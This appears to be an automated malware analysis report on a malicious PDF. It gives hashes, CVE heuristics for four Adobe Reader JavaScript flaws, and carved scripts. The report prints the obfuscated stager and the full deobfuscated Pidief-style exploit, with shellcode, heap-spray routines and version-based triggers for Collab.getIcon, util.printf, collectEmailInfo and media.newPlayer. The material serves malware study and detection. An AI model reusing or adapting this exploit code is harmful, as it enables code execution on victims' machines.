Malicious PDF — malware analysis report

Static analysis result for SHA-256 f95beb645b8db324…

MALICIOUS

PDF

11.9 KB Created: 2010-07-25 10:32:51 First seen: 2013-03-04
MD5: 6cfad497b9161e3dd6a19a4eb9085b6f SHA-1: 8ef4a62b7a0860bb27c9bcb529c20f02f27195d2 SHA-256: f95beb645b8db324e41c70b8d184dcb94a13037d36b8bf1a8ec88674e9d21df8
388 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • PDF /Producer character-range JavaScript stager high PDF_INFO_PRODUCER_CHAR_RANGE_JS_STAGER
    PDF metadata hides JavaScript in /Producer as character ranges plus a long numeric index table. The document JavaScript rebuilds an alphabet from those ranges, maps the indexes into characters, and evals the recovered exploit stage. The decoder is bounded and only fires when the recovered stage contains exploit-like Acrobat JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C3A 467 bytes
SHA-256: a9aa67a949c229cdac16191d68d2c91a6157f728d3e659f99be1bdc4c59b517a
Preview script
First 1,000 lines of the extracted script
var cdvz = this, huuu=50;
var tyqa = new Date(), sjlz='', yvig='Char', se = ('e'+tyqa.getFullYear()+'l').replace('2010','va');
var lpt='',be=cdvz[se], vl=[], tq='pro'+lpt+'duc'+lpt+'er';
be('var ay=String.from'+yvig+'Code, xfk=' + cdvz[tq].substring(0,huuu) + ',ostf=' + cdvz[tq].substring(huuu));
for(gwt in xfk) for(var ybz=xfk[gwt][0];ybz < xfk[gwt][1];ybz++) vl.push(ay(ybz));
for (var ybz = 0; ybz < ostf.length; ybz++) sjlz+=vl[ostf[ybz]];
be(sjlz);
javascript_obj0007_001.js pdf-javascript-stream PDF /JS object 7 at offset 0x2C3A 106 bytes
SHA-256: 85f29818cc7da431be7251122db79e3e31df8d5c99982d4db7f9f9a4f9456202
Preview script
First 1,000 lines of the extracted script
var cdvz = this, huuu=50;
var tyqa = new Date(), sjlz='', yvig='Char', se = ('e'+tyqa.getFullYear()+'l'
producer_char_range_stage_000.js deobfuscated-js PDF /Info Producer char-range indexed JavaScript at offset 0x19A 3611 bytes
SHA-256: a286730f645bd37ca3f89b4f6bba19370821e2254b88031a0e0ecb2f4434e163
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var ak='%u9090%u9090%u16eb%u38b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u1434%ue2aa%uc3fa%ue5e8%uffff%ufdff%u1518%u1414%u954a%u48f8%u1415%u9d14%u99f3%u045b%u7b99%u2540%u43cf%u4745%u4747%u4747%u4747%u4741%u7c47%u1510%u1414%u4241%u7c47%u7a7b%u1414%u617c%u7866%u4079%u9a7c%u1a5a%ufcf8%u145c%u1414%ufc44%u1468%u1414%uc4eb%ud097%u7c1c%ufb5b%u115b%ufc44%u1478%u1414%uc4eb%ud491%u0361%u407e%ue74d%u7cbe%uea66%u02a7%u09fc%u1414%u4414%u45fc%u1414%ueb14%u47c4%uea7e%u9d7c%u157b%ufca9%u141c%u1414%ufc44%u1428%u1414%uc4eb%u2574%u70d4%u449f%u9f24%u1846%u469f%u9f00%u3c66%u0cad%u1414%u2514%u25eb%ub8d4%u7528%u1668%u3438%udbd5%u1519%uf6d3%u95e4%u4feb%u5ea8%u9f7e%u0456%u069f%ucd61%u509d%u0830%ud775%u9f74%u3078%u9f30%u2851%u409f%u6c11%ufe15%u5e9f%u9f0c%u344e%uff15%u20f7%u9f5d%u9f20%ufa15%ueb25%ud425%ub8e8%ud490%u1360%udbd5%u1519%uffd3%u2fe0%u3068%u613c%u9ff5%u304e%uff15%u9f72%u5f18%u4e9f%u1508%u9fff%u9f10%ufc15%u509d%u0830%ud675%u141c%ufbfc%uebea%u7ceb%u6060%u2e64%u3b3b%u757c%u7c67%u757c%u3a64%u7b77%u3b79%u3a70%u7c64%u2b64%u2972%u2225%u7132%u2529%u0014';function ijrn(ht,oua){while(ht.length*2<oua){ht+=ht;}
ht=ht.substring(0,oua/2);return ht;}
function qdr(){var iq=new Array();var fxui=0x0c0c0c0c;var addr=0x400000;var payload=unescape(ak);var sc_len=payload.length*2;var oua=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ijrn(yarsp,oua);var count2=(fxui-0x400000)/addr;for(var count=0;count<count2;count++){iq[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(ak);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(ak);var hWq500CN=payload.length*2;var oua=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ijrn(yarsp,oua);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){qdr();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(ak);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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